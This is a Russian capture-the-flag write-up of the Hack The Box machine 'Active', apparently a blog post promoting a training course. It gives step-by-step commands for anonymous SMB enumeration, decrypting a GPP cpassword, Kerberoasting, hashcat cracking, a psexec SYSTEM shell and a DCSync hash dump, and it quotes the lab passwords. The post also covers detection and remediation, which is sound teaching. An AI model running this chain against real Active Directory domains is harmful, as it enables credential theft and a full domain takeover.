HTB Active прохождение — от анонимного SMB до Domain Admin через Kerberoasting

Microsoft в 2014 году выпустила патч MS14-025, запретивший сохранять пароли в Group Policy Preferences. Патч не удалил уже существующие файлы Groups.xml с зашифрованными паролями — и пентестеры находят их до сих пор. Десять лет прошло, а файлы лежат. Машина Active на Hack The Box построена вокруг именно этого сценария: анонимный доступ к SMB-шаре, GPP-пароль в открытом виде, Kerberoasting до Domain Admin за три команды. Ниже — пошаговый разбор от первого nmap до флага root.txt, плюс объяснение GenericAll как расширения Kerberoasting в реальных доменах.
Машина Active — контекст и карта атаки
Active — машина категории Easy на HackTheBox. ОС — Windows Server 2008 R2, полноценный контроллер домена active.htb. Машина ретайрнута (retired — снята из активного пула, writeup публиковать можно, но для доступа нужна VIP-подписка).
Зачем проходить Easy-машину? Потому что Active учит двум техникам, которые встречаются на реальных внутренних пентестах Active Directory куда чаще, чем хотелось бы: извлечение GPP-паролей из SYSVOL и Kerberoasting сервисных аккаунтов. По данным IBM X-Force, в 2024 году рост атак с использованием действительных учётных данных составил 71% год к году — обе техники из этой машины напрямую дают такие учётные данные.
Что нужно для старта:
- Kali Linux с VPN-подключением к HTB (файл .ovpn из дашборда HTB)
- Запись в
/etc/hosts:10.10.10.100 active.htb - Инструменты (предустановлены в Kali): nmap, smbmap, smbclient, gpp-decrypt, Impacket, hashcat
Карта атаки по MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1558.003 — её идентификаторы, по ним удобно искать детали в документации):
| Этап | Действие | MITRE ATT&CK |
|---|---|---|
| Разведка | Сканирование портов DC | Active Scanning (T1595, Reconnaissance) |
| Обнаружение | Листинг доменных аккаунтов | Domain Account (T1087.002, Discovery) |
| Credential Access | GPP-пароль из Groups.xml | Unsecured Credentials: GPP (T1552.006) |
| Credential Access | Kerberoasting сервисного аккаунта | Kerberoasting (T1558.003) |
| Credential Access | DCSync всех хешей домена | DCSync (T1003.006) |
Анонимный доступ к SMB: null session и листинг шар
Первый шаг — сканирование портов. Запускаем nmap -sC -sV 10.10.10.100. Флаг -sC включает дефолтные NSE-скрипты — они автоматически проверяют типовые проблемы вроде анонимного доступа или устаревших версий. Флаг -sV определяет версии сервисов. В выводе — стандартный набор портов контроллера домена: DNS (53), Kerberos (88), LDAP (389/636), SMB (445) и полтора десятка RPC-портов. Nmap показывает домен active.htb и версию ОС — Windows Server 2008 R2.
Дальше — SMB. Задача: выяснить, какие шары (shared folders) доступны без аутентификации. Это называется null session — подключение к SMB без логина и пароля. На реальных пентестах анонимный доступ к SMB встречается реже, чем на HTB, но когда встречается — это почти гарантированная точка входа.
smbmap -H 10.10.10.100
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS
Шара Replication доступна на чтение без пароля. На контроллере домена это нестандартно: SYSVOL и NETLOGON обычно требуют доменных учётных данных. Replication — кастомная шара, и её анонимная доступность — первая ошибка конфигурации на этой машине.
Альтернативный инструмент — enum4linux -a 10.10.10.100. Он выдаёт больше информации (список пользователей, групп, политику паролей), но вывод хаотичный. Для быстрой проверки прав на шары smbmap удобнее — вывод компактный и читаемый.
Если smbmap показывает NO ACCESS на всех шарах — попробуйте явно указать пустые учётные данные: smbmap -H 10.10.10.100 -u '' -p ''. Некоторые версии инструмента по умолчанию отправляют случайный логин вместо пустого, и сервер отказывает.
GPP пароль в Groups.xml — извлечение и расшифровка cpassword
Подключаемся к шаре Replication через smbclient //10.10.10.100/Replication -U ""%"" (пустой логин, пустой пароль). Внутри — структура каталогов, повторяющая SYSVOL. Рекурсивный поиск файлов командой smbmap -H 10.10.10.100 -R Replication выведет дерево без подключения — и обнаруживает файл Groups.xml в каталоге Preferences\Groups\.
Что такое GPP и почему это проблема. Group Policy Preferences (GPP) — механизм Windows для массового развёртывания настроек: создание локальных пользователей, маппинг дисков, задачи планировщика. Когда администратор через GPP задавал пароль, Windows сохраняла его в XML-файл на SYSVOL в поле cpassword, зашифрованном AES-256. Сам по себе AES-256 — криптостойкий алгоритм. Но Microsoft использовала единый статический ключ и опубликовала его в документации MS-GPPREF. Любой, кто может прочитать файл, расшифрует пароль за секунду. Пентестеры продолжали находить такие пароли и в 2018 году, когда машина была актуальной.
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="active.htb\SVC_TGS"
changed="2018-07-18 20:46:06">
<Properties action="U"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOd..."
userName="active.htb\SVC_TGS"/>
</User>
Расшифровываем одной командой: gpp-decrypt '<значение_cpassword>'. Утилита предустановлена в Kali. Результат — пароль GPPstillStandingStrong2k18 (название говорит само за себя). Это пароль доменной учётной записи SVC_TGS.
Имя SVC_TGS подсказывает: это сервисный аккаунт, связанный с Ticket Granting Service. Если у аккаунта настроен SPN (Service Principal Name — уникальный идентификатор сервиса в домене, по которому Kerberos понимает, какой аккаунт обслуживает какой сервис), он становится кандидатом на Kerberoasting.
Kerberoasting атака Active Directory — от SVC_TGS до Domain Admin
Зачем нужен Kerberoasting и как он работает. Kerberos — протокол аутентификации в Active Directory. Если очень упрощённо: когда пользователь хочет попасть на какой-то сервис (файловая шара, база данных, веб-приложение), контроллер домена выдаёт ему Service Ticket (ST). Этот тикет зашифрован хешем пароля сервисного аккаунта, который обслуживает запрошенный сервис.
Ключевой момент: любой аутентифицированный пользователь домена может запросить Service Ticket для любого SPN. Контроллер домена не проверяет, имеет ли пользователь реальное право доступа к сервису — просто выдаёт тикет. Атакующий запрашивает тикет, сохраняет его и офлайн брутфорсит хеш пароля. Это и есть Kerberoasting (T1558.003, Credential Access).
Все основные инструменты — Impacket и Rubeus — запрашивают тикеты с шифрованием RC4 (тип 0x17), потому что RC4-хеши взламываются значительно быстрее AES. Для blue team это главный маркер детектирования: Event ID 4769 в логах DC с типом шифрования 0x17 вместо стандартных 0x11/0x12 (AES). Увидели 0x17 в продакшене — кто-то либо запустил Rubeus, либо у вас очень старый софт.
Бизнес-логика атаки: если сервисный аккаунт с SPN имеет привилегии Domain Admin или права на DCSync (репликация данных домена), взлом его пароля — это полный захват инфраструктуры. Доступ ко всем рабочим станциям, серверам, учётным данным каждого пользователя. На HTB Active аккаунт Administrator сам является SPN-носителем. Идеальный сценарий.
Запрашиваем тикеты для всех пользовательских SPN в домене:
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' \
-dc-ip 10.10.10.100 -request -outputfile hashes.kerberoast
Команда подключается к DC от имени SVC_TGS, находит все пользовательские аккаунты с SPN и запрашивает Service Ticket для каждого.
Ошибка «Clock skew too great» — самая частая проблема на HTB с Kerberos-машинами. Протокол Kerberos не работает при разнице во времени с DC больше 5 минут. Исправление: sudo ntpdate 10.10.10.100. Запомните — пригодится на каждой второй Windows-машине.
Брутфорс хеша: hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt. Режим -m 13100 — Kerberos 5 TGS-REP etype 23 (RC4). Словарь rockyou.txt предустановлен в Kali. На GPU среднего уровня перебор занимает минуты. Результат: пароль Ticketmaster1968.
Получаем шелл с правами SYSTEM: impacket-psexec active.htb/Administrator:Ticketmaster1968@10.10.10.100. Psexec создаёт временный Windows-сервис на целевом хосте — это оставляет артефакт Event ID 7045 в System-логе (для blue team: если видите создание сервиса с рандомным именем — это оно). Флаги лежат в C:\Users\SVC_TGS\Desktop\user.txt и C:\Users\Administrator\Desktop\root.txt.
GenericAll привилегия и ACL злоупотребление — расширение Kerberoasting
На HTB Active Kerberoasting сработал «из коробки» — у аккаунта Administrator уже был настроен SPN. В реальной инфраструктуре так бывает редко. Чаще SPN стоят на сервисных аккаунтах с длинными случайными паролями, которые не поддаются словарному перебору. Но если у атакующего есть привилегия GenericAll или GenericWrite на объект в AD, ситуация меняется.
GenericAll — полный контроль над объектом Active Directory. Чтобы понять, откуда берутся такие права, нужно знать про DACL (Discretionary Access Control List) — это список, определяющий, кто и что может делать с каждым объектом в домене. Ошибки в DACL — когда обычному пользователю назначены права, которые ему не нужны. Если у атакующего GenericAll на другой аккаунт, он может:
- Сбросить пароль целевого аккаунта напрямую
- Установить произвольный SPN на аккаунт без SPN — а затем провести целевой Kerberoasting
- Модифицировать членство в группах через этот объект
Для целевого Kerberoasting (targeted Kerberoasting) достаточно GenericAll или GenericWrite: атакующий устанавливает SPN на целевой аккаунт (даже если сервис не существует — формат service/host достаточен), запрашивает тикет и брутфорсит хеш. После получения пароля SPN можно удалить, чтобы не оставлять следов.
Обнаружение GenericAll через BloodHound. BloodHound — инструмент для визуализации прав доступа в Active Directory. Он строит граф: узлы — пользователи, группы и компьютеры; рёбра — права (GenericAll, GenericWrite, WriteOwner). Запускаете bloodhound-python -c all -u SVC_TGS -p 'GPPstillStandingStrong2k18' -d active.htb -ns 10.10.10.100 --zip — через LDAP-запросы извлекаются все объекты домена. Запрос «Shortest Paths to Domain Admins» в интерфейсе BloodHound покажет ACL-цепочки, ведущие к захвату домена.
На HTB Active BloodHound не обязателен — путь линейный: GPP → Kerberoasting → DA. Но на машинах вроде HTB Certified цепочка из четырёх ACL-шагов — WriteOwner → GenericWrite → GenericAll → ESC9 — без BloodHound нечитаема.
Связь с DCSync атакой. Получив Domain Admin, атакующий запускает DCSync: impacket-secretsdump active.htb/Administrator:Ticketmaster1968@10.10.10.100. Secretsdump эмулирует репликацию между контроллерами домена и извлекает NTLM-хеши всех пользователей, включая krbtgt. Это конечная точка — полный компромисс домена.
Практический чек-лист: от подключения до флага
Весь путь от подключения к HTB до Domain Admin — семь шагов. Предпосылка: Kali Linux с активным VPN к HTB, 10.10.10.100 active.htb прописан в /etc/hosts.
Шаг 1. Сканирование портов. nmap -sC -sV 10.10.10.100. Ожидаемый результат: порты 53, 88, 135, 139, 389, 445, 636 в состоянии open. Домен active.htb в выводе LDAP-скрипта. Порт 445 открыт — переходим к SMB.
Шаг 2. SMB-листинг без пароля. smbmap -H 10.10.10.100. Ожидаемый результат: шара Replication с правом READ ONLY, остальные — NO ACCESS. Все шары NO ACCESS? Добавьте -u '' -p ''.
Шаг 3. Поиск GPP-файлов. smbmap -H 10.10.10.100 -R Replication для рекурсивного вывода содержимого. Ищем файлы Groups.xml, Services.xml, ScheduledTasks.xml — любой может содержать cpassword. Скачиваем через smbclient командой get.
Шаг 4. Расшифровка GPP-пароля. gpp-decrypt '<значение_cpassword>'. Ожидаемый результат: строка с паролем в открытом виде. Если gpp-decrypt не установлен: apt install gpp-decrypt.
Шаг 5. Kerberoasting. impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.10.10.100 -request -outputfile hashes.kerberoast. Ожидаемый результат: файл с хешем тикета Administrator. Ошибка Clock skew — sudo ntpdate 10.10.10.100.
Шаг 6. Взлом хеша. hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt. Ожидаемый результат: пароль в строке с $krb5tgs$23$*Administrator$. На CPU без GPU добавьте --force (медленнее, но работает).
Шаг 7. Шелл Domain Admin. impacket-psexec active.htb/Administrator:Ticketmaster1968@10.10.10.100. Ожидаемый результат: приглашение C:\Windows\system32> с правами NT AUTHORITY\SYSTEM. Забираем type C:\Users\SVC_TGS\Desktop\user.txt и type C:\Users\Administrator\Desktop\root.txt.
| Предусловие | Как проверить |
|---|---|
| VPN к HTB активен | ip a — интерфейс tun0 с адресом 10.10.x.x |
| Время синхронизировано | date и сравнить с выводом nmap clock-skew |
| Impacket установлен | impacket-GetUserSPNs --help — без ошибок |
| hashcat видит GPU | hashcat -I — список устройств |
HTB Active — машина 2018 года, построенная на уязвимостях 2014 года. Kerberoasting описан Тимом Медином на DerbyCon в том же 2014-м. GPP-пароли закрыты патчем MS14-025 десять лет назад. И при этом на каждом втором внутреннем пентесте встречаются либо GPP-пароли в SYSVOL, либо сервисные аккаунты с паролями из словаря и настроенным SPN. Техника не устаревает — меняется только имя машины в отчёте.
Проблема не в том, что blue team не знает про Kerberoasting. Знают. Проблема организационная: ротация паролей сервисных аккаунтов. Аккаунт MSSQLService с паролем Summer2019! живёт в продакшене, потому что «если поменяем — сломается интеграция с ERP, а ERP трогать нельзя». Никакой SIEM с правилом на Event ID 4769 не поможет, если пароль подбирается за секунды. Managed Service Accounts (gMSA) решают проблему автоматически — Windows генерирует 240-символьный пароль и меняет каждые 30 дней. Но gMSA требует Windows Server 2012+ и совместимости приложений, а миграция — проект на месяцы. Пока этот проект «в бэклоге», Kerberoasting работает. Если хочешь не просто читать чужие writeup-ы, а разобраться, почему атаки десятилетней давности до сих пор актуальны — на IB Basics в Codeby Academy AD-безопасность разбирают от фундамента, без предположения, что ты уже знаешь, как устроен Kerberos.
Эту тему и смежные навыки разбирают на практике в курсе «Анализ защищённости инфраструктуры на основе Active Directory» Codeby Academy.